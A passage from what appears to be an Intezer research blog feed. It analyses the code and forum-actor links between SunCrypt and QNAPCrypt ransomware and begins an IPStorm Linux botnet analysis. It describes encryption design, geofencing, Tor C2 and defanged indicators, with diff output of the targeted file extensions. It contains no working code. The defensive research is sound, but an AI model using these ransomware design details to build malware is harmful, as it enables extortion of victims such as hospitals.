&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The samples are compiled for different operating systems and architectures
using different versions of the Go compiler which results in a slight
difference in the generated assembly code. The function opens a file handler to
the file to be encrypted. It uses the &amp;ldquo;Stat&amp;rdquo; function provided by Go&amp;rsquo;s standard
library to determine the file size. Based on the size, the flow splits into two
different branches.&lt;/p&gt;
&lt;p&gt;For SunCrypt, if the file is larger than 100 MB it goes down one branch while
QNAPCrypt uses a cutoff of 10 MB. Files smaller than the cutoff size goes down
to the second branch. In the large file branch, the SunCrypt reads in the first
100 MB using the &amp;ldquo;ReadAtLeast&amp;rdquo; function that is part of the standard library
&amp;ldquo;io&amp;rdquo; package. QNAPCrypt does the same but in the first 10 MB instead.&lt;/p&gt;
&lt;p&gt;For the smaller files, both families use the &amp;ldquo;ReadFile&amp;rdquo; function from the &amp;ldquo;io&amp;rdquo;
package. The read-in data is passed to the &amp;ldquo;&lt;code&gt;EncEAS&lt;/code&gt;&amp;rdquo; function that encrypts
the data. The content is finally written to disk as a new file with an
extension appended while the original file is removed. Except for the size
cutoff, the function logic in the two families is identical.&lt;/p&gt;
&lt;p&gt;The &amp;ldquo;&lt;code&gt;EncEAS&lt;/code&gt;&amp;rdquo; function encrypts the data using AES in Cipher Feedback (CFB)
mode. A comparison between the flow graphs is shown in Figure 5 below. As with
the &amp;ldquo;EncFile&amp;rdquo; function, the &amp;ldquo;&lt;code&gt;EncEAS&lt;/code&gt;&amp;rdquo; function has an identical logic and it
can be confirmed that it was compiled from a very similar source code.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt/images/fig5.png" title="Figure 5: Flow graph comparison between SunCrypt and QNAPCrypt&amp;#39;s EncEAS function." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 5: Flow graph comparison between SunCrypt and QNAPCrypt&amp;#39;s EncEAS function.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Other Similarities&lt;span class="hx:absolute hx:-mt-20" id="other-similarities"&gt;&lt;/span&gt;
&lt;a href="#other-similarities" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;In addition to the shared code between the two malware families for the
functionality responsible for the file encryption, the two families also have
other similarities. The similarities on their own do not indicate a connection,
but the collection of all of them does. The presentation of them is to
strengthen the connection indicated by the shared code. Figure 6 is showing
functions in QNAPCrypt that share similarities with functions in SunCrypt.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt/images/fig6.png" title="Figure 6: Functions with similarities between QNAPCrypt and SunCrypt. File encryption logic is identical while the key generation and the encryption of the key is very similar. Both malware use the locale of the machine and GeoIP to determine the location of the machine." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 6: Functions with similarities between QNAPCrypt and SunCrypt. File encryption logic is identical while the key generation and the encryption of the key is very similar. Both malware use the locale of the machine and GeoIP to determine the location of the machine.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Both ransomware are designed to not run on some of the Commonwealth of
Independent States (CIS). QNAPCrypt will not perform any encryption of files if
it believes it is running on a Belarusian, Russian or Ukrainian machine.
SunCrypt does the same, but also includes Kyrgyzstan and Syria in the list.&lt;/p&gt;
&lt;p&gt;The way the ransomware tries to determine this is very similar, both use two
sources for this information. One of the sources is the locale of the machine.
As QNAPCrypt is targeting Linux machines and SunCrypt targets Windows machines,
the way of obtaining this information is different. The second source is via
geolocation based on the external IP address of the machine. Both ransomware
reaches out to an external service to get this information, &amp;ldquo;&lt;code&gt;ip-api.com&lt;/code&gt;&amp;rdquo; for
SunCrypt and &amp;ldquo;&lt;code&gt;ipapi.co&lt;/code&gt;&amp;rdquo; for QNAPCrypt. While the families use different
services, they both use the locale on the machine and the geoip information to
determine if the machine is located in a disallowed country.&lt;/p&gt;
&lt;p&gt;As discussed in the section covering the file encryption code, the files are
encrypted with AES in CFB mode. Both ransomware generates a unique 32
characters &amp;ldquo;password.&amp;rdquo; The logic for generating this code is very similar. A
comparison of the logic is shown in Figure 7. The characters in the password
are randomly selected from a list of valid characters that includes all the
English upper and lower characters and the numbers 0 through 9. The list is
identical between the malware. The rand implementation provided the math
package in the standard library is used, which means the randomness is not
cryptographic. The randomness is seeded with the current time. The main
difference is that SunCrypt resets the seed every time the function responsible
for generating the &amp;ldquo;password&amp;rdquo; is called, while QNAPCrypt sets the seed during
the initialization. SunCrypt also uses the function to generate a victim
identifier.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt/images/fig7.png" title="Figure 7: Generation of the encryption password. The function loops 32 times and uses rand.Intn to pick a random character from the list of valid characters. When the loop is done, the byte slice of characters is converted to a string." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 7: Generation of the encryption password. The function loops 32 times and uses rand.Intn to pick a random character from the list of valid characters. When the loop is done, the byte slice of characters is converted to a string.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The encryption password is encrypted with a public RSA key included in the
binary. The logic for this code is similar as can be seen in Figure 8. The code
uses the &lt;code&gt;EncryptPKCS1v15&lt;/code&gt; function that is part of the &lt;code&gt;crypto/rsa&lt;/code&gt; package.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt/images/fig8.png" title="Figure 8: Encrypting of the password using the included public key in the binary." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 8: Encrypting of the password using the included public key in the binary.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Both ransomware families have command and control (C2) infrastructure hosted as
Tor hidden services. The first version of QNAPCrypt reached out to the C2 to
fetch information for the ransom note, including the Bitcoin wallet used for
the campaign. SunCrypt sends campaign information and uploads stolen files to
the C2 server. To access the hidden service, both families use a public
available SocksV5 proxy. QNAPCrypt connects directly to an IP address
(&lt;code&gt;192.99.206[.]61&lt;/code&gt;) while the proxy used by SunCrypt is accessed via the domain
&lt;code&gt;vie8hoos[.]xyz&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The file types encrypted by the ransomware are also similar. Both families have
a list of file extensions that they use to determine if the file should be
encrypted. In total, SunCrypt has a list of 589 file extensions. If we compare
the SunCrypt list to the list used by the first version of QNAPCrypt we can see
that SunCrypt&amp;rsquo;s list has added four new entries and removed 19 entries. The
lists are not sorted in any way so the extract lists appear exactly in the same
order as they appeared in the malware. The code snippet below shows the &lt;code&gt;diff&lt;/code&gt;
between the two lists.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ diff suncrypt_ext.lst qnap_ext_20190705.lst
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;460d459
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt; .mp4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;562, 564d560
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt; .java
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt; .swift
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt; .go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;589a586, &lt;span class="m"&gt;604&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .gcode
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .ngc
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .sldprt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .sldasm
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .x_t
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .step
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .fits
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .cat
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .ctlg
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .fit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .rsn
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .eml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .vhdx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .cfg
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .plist
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .bckup
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .far
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .tbz
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .abf&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;If we compare SunCrypt&amp;rsquo;s list to the list used by the second version of
QNAPCrypt from August the same year, the overlap is even bigger. The &amp;ldquo;diff&amp;rdquo;
output is shown in the snippet below. The difference is that SunCrypt has added
three entries and removed two. This results in a string similarity of 0.991
which is a strong similarity.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ diff suncrypt-files.lst qnap_ext_20190801.lst
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;562, 564d561
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt; .java
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt; .swift
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt; .go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;589a587, &lt;span class="m"&gt;588&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .gcode
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt; .ngc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Dark Web Activity&lt;span class="hx:absolute hx:-mt-20" id="dark-web-activity"&gt;&lt;/span&gt;
&lt;a href="#dark-web-activity" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Not long after the public reports on QNAPCrypt/eCh0raix, a new forum user named
eCh0raix became active and started promoting the ransomware. Later, a SunCrypt
user account promoted a new ransomware affiliate service. While both actors
operated on the same popular Russian-language dark web forum, this is where the
similarities end.&lt;/p&gt;
&lt;h3&gt;eCh0raix&lt;span class="hx:absolute hx:-mt-20" id="ech0raix"&gt;&lt;/span&gt;
&lt;a href="#ech0raix" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The actor behind eCh0raix first posted on August 31, 2019, announcing an
affiliate program for a ransomware targeting Linux, Figure 9. This includes a
diagram showing how the program works.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt/images/fig9.png" title="Figure 9: Announcement post made by the eCh0raix actor on the dark web." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 9: Announcement post made by the eCh0raix actor on the dark web.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In the post (Figure 10), eCh0raix cites research by threat researchers (from
Anomali and Trend Micro), a marketing technique often used by RaaS providers in
order to bolster credibility.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt/images/fig10.png" title="Figure 10: The threat actor referring to public research on his ransomware." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 10: The threat actor referring to public research on his ransomware.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;From this initial post until June 20, 2020, the actor posted 27 new threads on
the forum and another 77 replies to existing threads. They were quite
gregarious, jumping into threads and sharing expertise and advice. While the
actor did not give any updates on eCh0raix ransomware, all of the posts
concluded with a signature that included the citation from the threat
researchers.&lt;/p&gt;
&lt;p&gt;The actor&amp;rsquo;s catalogue of posts dealt with a broad variety of topics. On
December 25, 2019, eCh0raix offered a second service called DirBuster (Figure
11), for scanning domains, subdomains, pages, and scripts, which appears to
have been rebranded as Masscan a few months later:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt/images/fig11.png" title="Figure 11: Forum post by the threat actor announcing port scanning service called Masscan." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 11: Forum post by the threat actor announcing port scanning service called Masscan.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The actor was also interested in virtualization, network access, and databases.
They posted a lengthy account of hacking a Magento site, sold SSH root
access/web shell access to a Costa Rican ad network and to an American IT
company, and a database dump from a Canadian cannabis store.&lt;/p&gt;
&lt;p&gt;In his final post (Figure 12) on the forum, the actor was looking to purchase a
Shodan account from which to export IP addresses. Like every post before it,
this post concluded with the same announcement of eCh0raix ransomware that had
been used ten months prior.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt/images/fig12.png" title="Figure 12: Final post by the threat actor." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 12: Final post by the threat actor.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Since this was posted on June 20, 2020, without any reason or indication the
account has been inactive.&lt;/p&gt;
&lt;h3&gt;SunCrypt&lt;span class="hx:absolute hx:-mt-20" id="suncrypt"&gt;&lt;/span&gt;
&lt;a href="#suncrypt" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;On August 12, 2020, the actor behind SunCrypt posted on the same forum for the
first time. In a post titled &lt;code&gt;[PARTNERSHIP PROGRAM] SunCrypt Ransomware&lt;/code&gt;
(Figure 13), the actor posted characteristics of the ransomware and issued a
call for five affiliates to spread the ransomware. The actor noted that once
the affiliate program was full, &amp;ldquo;we will go into private again.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt/images/fig13.png" title="Figure 13: Forum post announcing the SunCrypt partnership program." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 13: Forum post announcing the SunCrypt partnership program.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The actor posted 11 more times, all on this single thread and having to do with
searching for affiliates or answering technical questions about the ransomware.
On August 29, the actor announced that the affiliate program was full. Then on
September 3, they announced that a position was vacated.&lt;/p&gt;
&lt;p&gt;On September 19, an actor posted on the thread (Figure 14), &amp;ldquo;Even hospitals are
scammed by these scum,&amp;rdquo; and cited a Bleeping Computer article about a SunCrypt
attack against University Hospital New Jersey (UHNJ).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt/images/fig14.png" title="Figure 14: Another threat actor posts in the SunCrypt thread about how the ransomware has been used in attacks against hospitals." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 14: Another threat actor posts in the SunCrypt thread about how the ransomware has been used in attacks against hospitals.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;SunCrypt wrote defensively (Figure 15), &amp;ldquo;how can I see you are the most honest
here…. Mother Teresa&amp;rdquo; a stretched take on &amp;ldquo;Let he who is without attacking a
hospital with ransomware cast the first stone.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;The actor continued, blaming the hospital attack on a new affiliate, who was
reportedly punished, since &amp;ldquo;we don&amp;rsquo;t do hospitals, government agencies,
airports, and so on.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt/images/fig15.png" title="Figure 15: The actor behind SunCrypt response to the hospital attack allegation." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 15: The actor behind SunCrypt response to the hospital attack allegation.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Later that day, another actor posted a lengthy technical analysis of the
ransomware. The SunCrypt actor angrily responded, &amp;ldquo;Tell me, why are you posting
this here?&amp;rdquo; and requested that the moderator erase the post (Figure 16).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt/images/fig16.png" title="Figure 16: The threat actor&amp;#39;s angry response to a technical analysis of the ransomware." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 16: The threat actor&amp;#39;s angry response to a technical analysis of the ransomware.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;As of the date of this publication, the actor has not posted again. It is
unclear why.&lt;/p&gt;
&lt;p&gt;SunCrypt&amp;rsquo;s dedicated leak site (DLS) soon wound down. Starting on August 1,
there were 15 posts of data from targeted organizations. After September 19,
there were only three more over the next 10 days. Even though
&lt;a href="https://analyze.intezer.com/files/95ca9e284a085ce93f68c3d12e6c5f557a5049539e3379284a65de784e1bdeff?utm_campaign=research-blog&amp;amp;utm_content=when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;new&lt;/a&gt;
samples of SunCrypt ransomware had surfaced in VirusTotal, it appears that
SunCrypt&amp;rsquo;s public campaign on dark web forums and management of a DLS went
dark.&lt;/p&gt;
&lt;p&gt;It is unclear why the forum thread went silent and why the DLS site suspended
operations, but the timing indicates that it was related to the hospital
attack. SunCrypt&amp;rsquo;s operators may have been afraid that unwanted notoriety would
attract law enforcement actions or security researchers, so they decided to
keep a lower profile until the attention subsided.&lt;/p&gt;
&lt;p&gt;Suddenly, on February 16, SunCrypt&amp;rsquo;s DLS listed a new victim: PRP Diagnostic
Imaging. It appears that SunCrypt has returned to the business of public
ransomware breaches.&lt;/p&gt;
&lt;p&gt;It is notable that PRP provides &amp;ldquo;an extensive range of diagnostic [medical]
imaging services,&amp;rdquo; such as MRIs, ultrasounds, and mammograms. Thus, while
attacking a hospital may have forced the actor to suspend operations for
several months, SunCrypt has returned and continues to target healthcare
providers. These, despite the actor&amp;rsquo;s protest that &amp;ldquo;we don&amp;rsquo;t do hospitals.&amp;rdquo;&lt;/p&gt;
&lt;h2&gt;Comparing the Actors&lt;span class="hx:absolute hx:-mt-20" id="comparing-the-actors"&gt;&lt;/span&gt;
&lt;a href="#comparing-the-actors" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Despite the code similarities between the two ransomwares, the actors behind
them exhibited very different behaviors. The eCh0raix actor mentioned his
ransomware in passing, but it was hardly their only focus. They launched other
initiatives, shared advice, and participated in unrelated conversations in the
forum.&lt;/p&gt;
&lt;p&gt;Meanwhile, the SunCrypt actor was solely focused on a single purpose:
advertising the ransomware in order to recruit affiliates. During his five
weeks of activity, they were active in one thread only. SunCrypt operated a DLS
site, indicating a more sophisticated operation, while eCh0raix did not.&lt;/p&gt;
&lt;p&gt;Considering these behavioral differences, it is our assessment that the
eCh0raix and SunCrypt accounts are operated by different individuals/groups.
Perhaps the eCh0raix actor, overwhelmed by their many initiatives, decided that
they did not have the resources to operate it and sold it to an affiliate.
Maybe they were approached by a stranger asking to procure the source code.
While we may never know the full story, it appears that the eCh0raix ransomware
was transferred to and upgraded by the SunCrypt operators.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;With technical analysis, it is possible to link the currently active version of
SunCrypt back to QNAPCrypt, a ransomware that was used to target NAS devices
back in the Summer of 2019. While the technical based evidence strongly
provides a link between QNAPCrypt and the earlier version of SunCrypt, it is
clear that both ransomware are operated by different individuals. Based on the
available data, it is not possible to connect the activity between the two
actors on the forum. This suggests that when new malware services derived from
older services appear, they may not always be operated by the same people.&lt;/p&gt;
&lt;p&gt;With this in mind, security officials should note that just because one malware
family is an iteration of another, it does not mean that the new family will be
deployed in exactly the same way. If a malware is exchanged, whether to an
affiliate or over the dark web, then the new operators may choose different
procedures, attack vectors, and targets. They might invest considerably in the
new malware, adding features and evasion techniques. Defenders must remain
vigilant.&lt;/p&gt;</description></item><item><title>A Storm is Brewing: IPStorm Now Has Linux Malware</title><link>https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/</link><pubDate>Thu, 01 Oct 2020 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/</guid><description>
&lt;h2&gt;UPDATE NOVEMBER 2023: IPStorm Infrastructure Dismantled by FBI&lt;span class="hx:absolute hx:-mt-20" id="update-november-2023-ipstorm-infrastructure-dismantled-by-fbi"&gt;&lt;/span&gt;
&lt;a href="#update-november-2023-ipstorm-infrastructure-dismantled-by-fbi" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The FBI today revealed US law enforcement&amp;rsquo;s dismantlement of a botnet proxy
network, along with a &lt;a href="https://www.justice.gov/usao-pr/pr/russian-and-moldovan-national-pleads-guilty-operating-illegal-botnet-proxy-service"target="_blank" rel="noopener"&gt;guilty plea&lt;/a&gt;
for the individual responsible for the botnet
infrastructure which was associated with the IPStorm malware. This achievement
is a significant milestone in ongoing efforts to combat cyber threats. The
research team at Intezer assisted in the FBI&amp;rsquo;s case, sharing our findings and
analysis about the new IPStorm malware variants and capabilities as it expanded
to infect Linux, Mac, and Android devices around the world.&lt;/p&gt;
&lt;h2&gt;A Storm is Brewing&lt;span class="hx:absolute hx:-mt-20" id="a-storm-is-brewing"&gt;&lt;/span&gt;
&lt;a href="#a-storm-is-brewing" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The development of cross-platform malware is not new, however, we continue to
observe a number of malware that were previously documented only targeting
Windows now
&lt;a href="https://intezer.com/blog/looking-back-on-the-last-decade-of-linux-apt-attacks/?utm_campaign=research-blog&amp;amp;utm_content=a-storm-is-brewing-ipstorm-now-has-linux-malware&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;targeting the Linux platform&lt;/a&gt;.
One of these threats is IPStorm.&lt;/p&gt;
&lt;p&gt;In May 2019, researchers from
&lt;a href="https://www.anomali.com/blog/the-interplanetary-storm-new-malware-in-wild-using-interplanetary-file-systems-ipfs-p2p-network"target="_blank" rel="noopener"&gt;Anomali&lt;/a&gt;
discovered a new Golang malware targeting Windows, which they dubbed
&lt;strong&gt;IPStorm&lt;/strong&gt; (InterPlanetary Storm). IPStorm is a botnet that abuses a
legitimate Peer-to-peer (p2p) network called InterPlanetary File System (IPFS)
as a means to obscure malicious traffic. It was found the malware eventually
allowed attackers to execute arbitrary PowerShell commands on the victim&amp;rsquo;s
Windows machine.&lt;/p&gt;
&lt;p&gt;Our research team recently identified new Linux variants of IPStorm targeting
various Linux architectures (ARM, AMD64, Intel 80386) and platforms (servers,
Android, IoT). We have also detected a macOS variant. The macOS variant and
most of the Linux samples are fully undetected in VirusTotal at the time of
this publication. IPStorm is written in Golang, which enabled Intezer to detect
cross-platform code connections between the Linux samples and the Windows
malware first reported by Anomali.&lt;/p&gt;
&lt;p&gt;The Linux variant has additional features over the documented Windows version,
such as using &lt;strong&gt;SSH brute-force&lt;/strong&gt; as a means to spread to additional victims
and &lt;strong&gt;fraudulent network activity&lt;/strong&gt; abusing
&lt;a href="https://store.steampowered.com/"target="_blank" rel="noopener"&gt;Steam&lt;/a&gt; gaming and advertising platforms. The
Linux variant has adjusted some features in order to account for the
fundamental differences that exist between this operating system and Windows.&lt;/p&gt;
&lt;p&gt;In this post, we will present a code relations graph between the IPStorm
Windows and Linux samples, analyze one of the Linux variant&amp;rsquo;s behavior, and
compare its features and capabilities to the old Windows samples to track its
evolution. Following we will take a deeper dive into some notable features and
explain how to respond to this threat.&lt;/p&gt;
&lt;h2&gt;Technical Analysis of IPStorm&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis-of-ipstorm"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis-of-ipstorm" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Most of the IPStorm Linux samples were fully undetected before we submitted
them for genetic analysis in Intezer.&lt;/p&gt;
&lt;p&gt;In this post, we will focus on the
&lt;code&gt;658638c6bef52e03e6aea4b6c1b2b3b8d81ad40144b56b2122d96e6957c33117&lt;/code&gt; Linux
sample.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
